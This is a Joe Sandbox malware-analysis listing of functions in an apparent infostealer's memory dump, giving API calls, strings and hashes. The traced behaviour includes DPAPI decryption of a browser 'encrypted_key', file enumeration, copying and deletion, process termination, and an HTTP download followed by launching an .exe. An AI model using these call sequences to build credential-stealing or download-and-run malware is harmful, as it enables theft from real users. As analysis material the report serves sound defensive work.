Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: _memmove$FileWritemalloc
String ID:
API String ID: 803809635-0
Opcode ID: aaae93b94cba0fda43476bf6203154679a9565dd1eb4e6ba498b80845d8bbb2d
Instruction ID: a79e6087a2ba5dd235a0747d7612f5950c9d81f4b132387d18e5d9eda703946d
Opcode Fuzzy Hash: aaae93b94cba0fda43476bf6203154679a9565dd1eb4e6ba498b80845d8bbb2d
Instruction Fuzzy Hash: D0314D71608704AFDB25DF65EAC4AA7B7F8FB48750F50892EE64687A40EB70F9048B50

Function 00192285 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001922AC

Part of subcall function 00191D36: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,001922D6,?), ref: 00191D41
Part of subcall function 00191D36: HeapAlloc.KERNEL32(00000000), ref: 00191D48
Part of subcall function 00191D36: wsprintfW.USER32 ref: 00191D59

OpenProcess.KERNEL32(00001001,00000000,?,00000000,?), ref: 00192352
TerminateProcess.KERNEL32(00000000,00000000), ref: 00192360
CloseHandle.KERNEL32(00000000), ref: 00192367

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminate_memsetwsprintf
String ID:
API String ID: 2224742867-0
Opcode ID: b4dcbbc8b3c6854f8b07d22f7769ae74609232b4e7e6b92c4972c43aa7add1fd
Instruction ID: dda97ee5799aa7414d42a7cbe4486bcf20f14e38f42e72e437e6c71d00dd3197
Opcode Fuzzy Hash: b4dcbbc8b3c6854f8b07d22f7769ae74609232b4e7e6b92c4972c43aa7add1fd
Instruction Fuzzy Hash: 0A312D76A01218ABDF21AFA4DC849EE7BBCFF0A344F0404A6F509E6550D7349F848F52

Function 0018819F Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 00187FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0018E72B,?,?,?), ref: 00187FC7
Part of subcall function 00187FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0018E72B,?,?,?), ref: 00187FDE
Part of subcall function 00187FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0018E72B,?,?,?), ref: 00187FF5
Part of subcall function 00187FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0018E72B,?,?,?), ref: 0018800C
Part of subcall function 00187FAC: CloseHandle.KERNEL32(?,?,?,?,?,0018E72B,?,?,?), ref: 00188034

Part of subcall function 00191DF4: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00196973,?), ref: 00191E0C

StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0018CC65,?,?), ref: 001881E5

Part of subcall function 00188048: CryptStringToBinaryA.CRYPT32(00186724,00000000,00000001,00000000,?,00000000,00000000), ref: 00188060
Part of subcall function 00188048: LocalAlloc.KERNEL32(00000040,?,?,?,00186724,?), ref: 0018806E
Part of subcall function 00188048: CryptStringToBinaryA.CRYPT32(00186724,00000000,00000001,00000000,?,00000000,00000000), ref: 00188084
Part of subcall function 00188048: LocalFree.KERNEL32(?,?,?,00186724,?), ref: 00188093

Part of subcall function 001880A1: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0018823B), ref: 001880C4
Part of subcall function 001880A1: LocalAlloc.KERNEL32(00000040,0018823B,?,?,0018823B,0018CB6A,?,?,?,?,?,?,?,0018CC65,?,?), ref: 001880D8
Part of subcall function 001880A1: LocalFree.KERNEL32(0018CB6A,?,?,0018823B,0018CB6A,?,?,?,?,?,?,?,0018CC65,?,?), ref: 001880FD

Strings

"encrypted_key":", xrefs: 001881DF
DPAPI, xrefs: 0018821B
, xrefs: 00188241

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFile$BinaryFreeString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2311102621-738592651
Opcode ID: 11fdf69e68a19022bf36fd621960a723dc9ced40297b682c8e7376be946323c2
Instruction ID: a9192db77dc4dbee27c133c53a4031635f52cd9ff1ef6208b03d680a6c2e7a72
Opcode Fuzzy Hash: 11fdf69e68a19022bf36fd621960a723dc9ced40297b682c8e7376be946323c2
Instruction Fuzzy Hash: C1219F32A4060AABDF10FAA4DC41ADDB779EF91360F604665F911A7181DF30AB49CF60

Function 001966A1 Relevance: 6.1, APIs: 4, Instructions: 73stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00191D91: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00191DD2

lstrcatA.KERNEL32(?,00000000), ref: 001966E9
lstrcatA.KERNEL32(?,001B6B54), ref: 00196706
lstrcatA.KERNEL32(?), ref: 00196719
lstrcatA.KERNEL32(?,001B6B58), ref: 0019672B

Part of subcall function 00196013: wsprintfA.USER32 ref: 0019605A
Part of subcall function 00196013: FindFirstFileA.KERNEL32(?,?), ref: 00196071
Part of subcall function 00196013: StrCmpCA.SHLWAPI(?,001B6ABC), ref: 00196092
Part of subcall function 00196013: StrCmpCA.SHLWAPI(?,001B6AC0), ref: 001960AC
Part of subcall function 00196013: wsprintfA.USER32 ref: 001960D3
Part of subcall function 00196013: StrCmpCA.SHLWAPI(?,001B6647), ref: 001960E7
Part of subcall function 00196013: wsprintfA.USER32 ref: 00196104
Part of subcall function 00196013: PathMatchSpecA.SHLWAPI(?,?), ref: 00196131
Part of subcall function 00196013: lstrcatA.KERNEL32(?), ref: 00196167
Part of subcall function 00196013: lstrcatA.KERNEL32(?,001B6AD8), ref: 00196179
Part of subcall function 00196013: lstrcatA.KERNEL32(?,?), ref: 0019618C
Part of subcall function 00196013: lstrcatA.KERNEL32(?,001B6ADC), ref: 0019619E
Part of subcall function 00196013: lstrcatA.KERNEL32(?,?), ref: 001961B2

Part of subcall function 00196013: wsprintfA.USER32 ref: 0019611B
Part of subcall function 00196013: CopyFileA.KERNEL32(?,?,00000001), ref: 0019626B
Part of subcall function 00196013: DeleteFileA.KERNEL32(?), ref: 001962DF
Part of subcall function 00196013: FindNextFileA.KERNEL32(?,?), ref: 00196341
Part of subcall function 00196013: FindClose.KERNEL32(?), ref: 00196355

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 0c737c7dacc4e227e2e7143718d4d7edb22cd58d223d10cd6418af6187f27b20
Instruction ID: 138f541b1ccfad49d428b2c883a45835644c2ff4ef953844a40ea8566686d5d0
Opcode Fuzzy Hash: 0c737c7dacc4e227e2e7143718d4d7edb22cd58d223d10cd6418af6187f27b20
Instruction Fuzzy Hash: AA21607690011CABCF51EF64EC86AD97BBDEB24300F4040A2F585A7250EFB49AD58F51

Function 00190C95 Relevance: 6.0, APIs: 4, Instructions: 39memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,001B65B6,?,?,?), ref: 00190CAD
HeapAlloc.KERNEL32(00000000), ref: 00190CB4
GetLocalTime.KERNEL32(?), ref: 00190CC0
wsprintfA.USER32 ref: 00190CEB

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: 7e833ab2ba643ff3adaa94f11ebf4cf653c5077d94dfd1bddaa6367957943a1a
Instruction ID: e36f49dc3ecb37f3ddd9f5e737f7956e8e127a6cf110cbb91bf5fe2fa936b750
Opcode Fuzzy Hash: 7e833ab2ba643ff3adaa94f11ebf4cf653c5077d94dfd1bddaa6367957943a1a
Instruction Fuzzy Hash: 39F0E1B6901118BBDB51ABE5ED05ABF7BFCAB0CB11F400156F941E6190D6389A80D771

Function 0019213B Relevance: 6.0, APIs: 4, Instructions: 34fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00194FEC,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,00194FEC,?), ref: 00192156
GetFileSizeEx.KERNEL32(00000000,00194FEC,?,?,?,00194FEC,?), ref: 0019216E
CloseHandle.KERNEL32(00000000,?,?,?,00194FEC,?), ref: 00192179
CloseHandle.KERNEL32(00000000,?,?,?,00194FEC,?), ref: 00192181

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: CloseFileHandle$CreateSize
String ID:
API String ID: 4148174661-0
Opcode ID: d80622b52417b7e6f8a0a5e4c48b0eb4ed2c5bcc83b16a2521566694c181d71c
Instruction ID: c7508f3826b3587acf9fc0802637c997537810415a10cc80e5603f7bfacfe289
Opcode Fuzzy Hash: d80622b52417b7e6f8a0a5e4c48b0eb4ed2c5bcc83b16a2521566694c181d71c
Instruction Fuzzy Hash: 56F0A731A02215BBFB25BBA0EC49FDE3F6CDB04760F104221FA01EA1D0D7B06A508A91

Function 00192C30 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124processCOMMON

Download Yara Rule

APIs

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

Part of subcall function 001904EE: lstrcpyA.KERNEL32(00000000,?,?,00181D07,?,00197663), ref: 0019050D

Part of subcall function 00185237: GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0018527E
Part of subcall function 00185237: RtlAllocateHeap.NTDLL(00000000), ref: 00185285
Part of subcall function 00185237: InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 001852A7
Part of subcall function 00185237: StrCmpCA.SHLWAPI(?), ref: 001852C1
Part of subcall function 00185237: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 001852F1
Part of subcall function 00185237: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00185330
Part of subcall function 00185237: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00185360
Part of subcall function 00185237: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0018536B

Part of subcall function 00191C1F: GetSystemTime.KERNEL32(?,001B66E2,?), ref: 00191C4E

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 0019059C: lstrcpyA.KERNEL32(00000000,?,0000000C,0019762B,001B66D6), ref: 001905CA
Part of subcall function 0019059C: lstrcatA.KERNEL32(?,?), ref: 001905D4

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

Part of subcall function 0019241B: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00194ACD), ref: 00192435

_memset.LIBCMT ref: 00192D1F
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000020,00000000,00000000,?,?,001B6718), ref: 00192D71

Strings

.exe, xrefs: 00192C7C

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcpy$Internet$CreateHeapHttpOpenProcessRequestlstrcat$AllocateConnectFileOptionSendSystemTime_memsetlstrlen
String ID: .exe
API String ID: 2831197775-4119554291
Opcode ID: 8654fd85a1821cd296857c7895db7511e649427d857e117f175721ec516bd551
Instruction ID: 97bb0ee46eabe83f70a65fe2278195f17dd3579c02ff7b3ef2c55a040b8ee27b
Opcode Fuzzy Hash: 8654fd85a1821cd296857c7895db7511e649427d857e117f175721ec516bd551
Instruction Fuzzy Hash: B3413B36E00118AFDF12FBA4EC42ACE77B8AF65344F124161FA14B7152DB706E4A8B91

Function 0018F068 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0018F0AB
_memmove.LIBCMT ref: 0018F0D9

Strings

string too long, xrefs: 0018F0A6

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
